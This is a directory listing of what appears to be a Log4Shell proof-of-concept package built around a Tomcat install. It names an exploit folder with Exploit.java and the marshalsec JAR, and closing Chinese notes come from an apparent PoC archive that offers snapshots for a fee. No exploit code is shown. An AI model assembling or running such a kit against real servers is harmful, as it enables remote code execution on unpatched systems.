│ │ │ │ │ ├── [1.1K] LocalStrings_cs.properties
│ │ │ │ │ ├── [1.2K] LocalStrings_de.properties
│ │ │ │ │ ├── [2.0K] LocalStrings_es.properties
│ │ │ │ │ ├── [2.2K] LocalStrings_fr.properties
│ │ │ │ │ ├── [2.9K] LocalStrings_ja.properties
│ │ │ │ │ ├── [2.7K] LocalStrings_ko.properties
│ │ │ │ │ ├── [1.9K] LocalStrings.properties
│ │ │ │ │ ├── [ 853] LocalStrings_pt_BR.properties
│ │ │ │ │ ├── [2.0K] LocalStrings_pt.properties
│ │ │ │ │ ├── [ 943] LocalStrings_ru.properties
│ │ │ │ │ ├── [2.4K] LocalStrings_zh_CN.properties
│ │ │ │ │ ├── [4.0K] nonblocking
│ │ │ │ │ │ ├── [ 205] ByteCounter$1.class
│ │ │ │ │ │ ├── [2.7K] ByteCounter$CounterListener.class
│ │ │ │ │ │ ├── [1.8K] ByteCounter.class
│ │ │ │ │ │ ├── [5.1K] ByteCounter.java
│ │ │ │ │ │ ├── [ 208] NumberWriter$1.class
│ │ │ │ │ │ ├── [3.0K] NumberWriter$NumberWriterListener.class
│ │ │ │ │ │ ├── [1.6K] NumberWriter.class
│ │ │ │ │ │ └── [5.2K] NumberWriter.java
│ │ │ │ │ ├── [4.0K] num
│ │ │ │ │ │ ├── [2.1K] NumberGuessBean.class
│ │ │ │ │ │ └── [2.4K] NumberGuessBean.java
│ │ │ │ │ ├── [3.6K] RequestHeaderExample.class
│ │ │ │ │ ├── [3.8K] RequestHeaderExample.java
│ │ │ │ │ ├── [3.3K] RequestInfoExample.class
│ │ │ │ │ ├── [4.3K] RequestInfoExample.java
│ │ │ │ │ ├── [3.2K] RequestParamExample.class
│ │ │ │ │ ├── [4.0K] RequestParamExample.java
│ │ │ │ │ ├── [1.4K] ServletToJsp.class
│ │ │ │ │ ├── [1.5K] ServletToJsp.java
│ │ │ │ │ ├── [4.6K] SessionExample.class
│ │ │ │ │ ├── [5.3K] SessionExample.java
│ │ │ │ │ ├── [4.0K] sessions
│ │ │ │ │ │ ├── [1.5K] DummyCart.class
│ │ │ │ │ │ └── [1.8K] DummyCart.java
│ │ │ │ │ ├── [4.0K] trailers
│ │ │ │ │ │ ├── [ 214] ResponseTrailers$1.class
│ │ │ │ │ │ ├── [1.4K] ResponseTrailers$TrailerFieldSupplier.class
│ │ │ │ │ │ ├── [1.6K] ResponseTrailers.class
│ │ │ │ │ │ └── [2.2K] ResponseTrailers.java
│ │ │ │ │ ├── [4.0K] util
│ │ │ │ │ │ ├── [1.9K] CookieFilter.class
│ │ │ │ │ │ ├── [3.0K] CookieFilter.java
│ │ │ │ │ │ ├── [1.1K] HTMLFilter.class
│ │ │ │ │ │ └── [2.1K] HTMLFilter.java
│ │ │ │ │ ├── [4.0K] validators
│ │ │ │ │ │ ├── [1.5K] DebugValidator.class
│ │ │ │ │ │ └── [2.8K] DebugValidator.java
│ │ │ │ │ └── [4.0K] websocket
│ │ │ │ │ ├── [4.0K] chat
│ │ │ │ │ │ ├── [3.6K] ChatAnnotation.class
│ │ │ │ │ │ └── [3.4K] ChatAnnotation.java
│ │ │ │ │ ├── [4.0K] drawboard
│ │ │ │ │ │ ├── [1.7K] Client$1.class
│ │ │ │ │ │ ├── [4.9K] Client.class
│ │ │ │ │ │ ├── [9.0K] Client.java
│ │ │ │ │ │ ├── [ 805] DrawboardContextListener.class
│ │ │ │ │ │ ├── [1.2K] DrawboardContextListener.java
│ │ │ │ │ │ ├── [2.1K] DrawboardEndpoint$1.class
│ │ │ │ │ │ ├── [1.6K] DrawboardEndpoint$2.class
│ │ │ │ │ │ ├── [2.5K] DrawboardEndpoint$3$1.class
│ │ │ │ │ │ ├── [1.3K] DrawboardEndpoint$3.class
│ │ │ │ │ │ ├── [3.8K] DrawboardEndpoint.class
│ │ │ │ │ │ ├── [8.9K] DrawboardEndpoint.java
│ │ │ │ │ │ ├── [ 688] DrawMessage$ParseException.class
│ │ │ │ │ │ ├── [5.4K] DrawMessage.class
│ │ │ │ │ │ ├── [7.1K] DrawMessage.java
│ │ │ │ │ │ ├── [ 732] Room$1$1.class
│ │ │ │ │ │ ├── [ 754] Room$1.class
│ │ │ │ │ │ ├── [ 906] Room$2.class
│ │ │ │ │ │ ├── [1.4K] Room$MessageType.class
│ │ │ │ │ │ ├── [3.7K] Room$Player.class
│ │ │ │ │ │ ├── [8.0K] Room.class
│ │ │ │ │ │ ├── [ 16K] Room.java
│ │ │ │ │ │ └── [4.0K] wsmessages
│ │ │ │ │ │ ├── [ 359] AbstractWebsocketMessage.class
│ │ │ │ │ │ ├── [1005] AbstractWebsocketMessage.java
│ │ │ │ │ │ ├── [ 590] BinaryWebsocketMessage.class
│ │ │ │ │ │ ├── [1.2K] BinaryWebsocketMessage.java
│ │ │ │ │ │ ├── [ 389] CloseWebsocketMessage.class
│ │ │ │ │ │ ├── [ 993] CloseWebsocketMessage.java
│ │ │ │ │ │ ├── [ 583] StringWebsocketMessage.class
│ │ │ │ │ │ └── [1.1K] StringWebsocketMessage.java
│ │ │ │ │ ├── [4.0K] echo
│ │ │ │ │ │ ├── [1.8K] EchoAnnotation.class
│ │ │ │ │ │ ├── [2.3K] EchoAnnotation.java
│ │ │ │ │ │ ├── [ 235] EchoAsyncAnnotation$1.class
│ │ │ │ │ │ ├── [1.7K] EchoAsyncAnnotation$CompletedFuture.class
│ │ │ │ │ │ ├── [2.8K] EchoAsyncAnnotation.class
│ │ │ │ │ │ ├── [4.0K] EchoAsyncAnnotation.java
│ │ │ │ │ │ ├── [ 214] EchoEndpoint$1.class
│ │ │ │ │ │ ├── [1.6K] EchoEndpoint$EchoMessageHandlerBinary.class
│ │ │ │ │ │ ├── [1.6K] EchoEndpoint$EchoMessageHandlerText.class
│ │ │ │ │ │ ├── [1.3K] EchoEndpoint.class
│ │ │ │ │ │ ├── [2.8K] EchoEndpoint.java
│ │ │ │ │ │ ├── [1.8K] EchoStreamAnnotation.class
│ │ │ │ │ │ ├── [2.3K] EchoStreamAnnotation.java
│ │ │ │ │ │ └── [ 679] servers.json
│ │ │ │ │ ├── [2.3K] ExamplesConfig.class
│ │ │ │ │ ├── [2.3K] ExamplesConfig.java
│ │ │ │ │ └── [4.0K] snake
│ │ │ │ │ ├── [1.1K] Direction.class
│ │ │ │ │ ├── [ 890] Direction.java
│ │ │ │ │ ├── [ 807] Location$1.class
│ │ │ │ │ ├── [1.3K] Location.class
│ │ │ │ │ ├── [2.1K] Location.java
│ │ │ │ │ ├── [4.4K] SnakeAnnotation.class
│ │ │ │ │ ├── [4.4K] SnakeAnnotation.java
│ │ │ │ │ ├── [5.0K] Snake.class
│ │ │ │ │ ├── [4.5K] Snake.java
│ │ │ │ │ ├── [ 832] SnakeTimer$1.class
│ │ │ │ │ ├── [3.5K] SnakeTimer.class
│ │ │ │ │ └── [3.7K] SnakeTimer.java
│ │ │ │ ├── [4.0K] jsp
│ │ │ │ │ ├── [4.0K] applet
│ │ │ │ │ │ └── [7.6K] Clock2.java
│ │ │ │ │ ├── [1.9K] debug-taglib.tld
│ │ │ │ │ └── [3.1K] example-taglib.tld
│ │ │ │ ├── [4.0K] jsp2
│ │ │ │ │ └── [4.8K] jsp2-example-taglib.tld
│ │ │ │ ├── [4.0K] lib
│ │ │ │ │ ├── [202K] taglibs-standard-impl-1.2.5-migrated-0.0.1.jar
│ │ │ │ │ └── [ 39K] taglibs-standard-spec-1.2.5-migrated-0.0.1.jar
│ │ │ │ ├── [4.0K] tags
│ │ │ │ │ ├── [2.0K] displayProducts.tag
│ │ │ │ │ ├── [ 801] helloWorld.tag
│ │ │ │ │ └── [1.0K] panel.tag
│ │ │ │ └── [ 15K] web.xml
│ │ │ └── [4.0K] websocket
│ │ │ ├── [4.5K] chat.xhtml
│ │ │ ├── [ 40K] drawboard.xhtml
│ │ │ ├── [6.9K] echo.xhtml
│ │ │ ├── [1.2K] index.xhtml
│ │ │ └── [9.2K] snake.xhtml
│ │ ├── [4.0K] host-manager
│ │ │ ├── [4.0K] css
│ │ │ │ └── [2.7K] manager.css
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [ 20K] asf-logo.svg
│ │ │ │ └── [ 66K] tomcat.svg
│ │ │ ├── [ 913] index.jsp
│ │ │ ├── [4.0K] META-INF
│ │ │ │ └── [1.3K] context.xml
│ │ │ └── [4.0K] WEB-INF
│ │ │ ├── [4.0K] jsp
│ │ │ │ ├── [2.8K] 401.jsp
│ │ │ │ ├── [3.8K] 403.jsp
│ │ │ │ └── [2.5K] 404.jsp
│ │ │ ├── [1.4K] manager.xml
│ │ │ └── [5.0K] web.xml
│ │ ├── [4.0K] manager
│ │ │ ├── [4.0K] css
│ │ │ │ └── [2.7K] manager.css
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [ 20K] asf-logo.svg
│ │ │ │ └── [ 66K] tomcat.svg
│ │ │ ├── [ 913] index.jsp
│ │ │ ├── [4.0K] META-INF
│ │ │ │ └── [1.3K] context.xml
│ │ │ ├── [4.3K] status.xsd
│ │ │ ├── [4.0K] WEB-INF
│ │ │ │ ├── [4.0K] jsp
│ │ │ │ │ ├── [3.3K] 401.jsp
│ │ │ │ │ ├── [4.2K] 403.jsp
│ │ │ │ │ ├── [2.6K] 404.jsp
│ │ │ │ │ ├── [3.3K] connectorCerts.jsp
│ │ │ │ │ ├── [3.3K] connectorCiphers.jsp
│ │ │ │ │ ├── [3.3K] connectorTrustedCerts.jsp
│ │ │ │ │ ├── [8.0K] sessionDetail.jsp
│ │ │ │ │ └── [ 11K] sessionsList.jsp
│ │ │ │ └── [7.1K] web.xml
│ │ │ └── [4.6K] xform.xsl
│ │ └── [4.0K] ROOT
│ │ ├── [ 27K] asf-logo-wide.svg
│ │ ├── [ 713] bg-button.png
│ │ ├── [1.9K] bg-middle.png
│ │ ├── [1.4K] bg-nav.png
│ │ ├── [3.0K] bg-upper.png
│ │ ├── [ 21K] favicon.ico
│ │ ├── [ 12K] index.jsp
│ │ ├── [6.7K] RELEASE-NOTES.txt
│ │ ├── [5.4K] tomcat.css
│ │ ├── [ 66K] tomcat.svg
│ │ └── [4.0K] WEB-INF
│ │ └── [1.2K] web.xml
│ └── [4.0K] work
│ └── [4.0K] Catalina
│ └── [4.0K] localhost
│ ├── [4.0K] manager
│ │ └── [4.0K] org
│ │ └── [4.0K] apache
│ │ └── [4.0K] jsp
│ │ ├── [5.5K] index_jsp.class
│ │ ├── [4.6K] index_jsp.java
│ │ └── [4.0K] WEB_002dINF
│ │ └── [4.0K] jsp
│ │ ├── [8.7K] _401_jsp.class
│ │ └── [8.5K] _401_jsp.java
│ └── [4.0K] ROOT
│ └── [4.0K] org
│ └── [4.0K] apache
│ └── [4.0K] jsp
│ ├── [ 18K] index_jsp.class
│ └── [ 30K] index_jsp.java
├── [4.0K] assets
│ └── [4.0K] images
│ └── [6.1M] log4jshell_tomcat.gif
├── [4.0K] exploit
│ ├── [1.0K] Exploit.class
│ ├── [ 538] Exploit.java
│ └── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar
└── [ 857] README.md
130 directories, 660 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。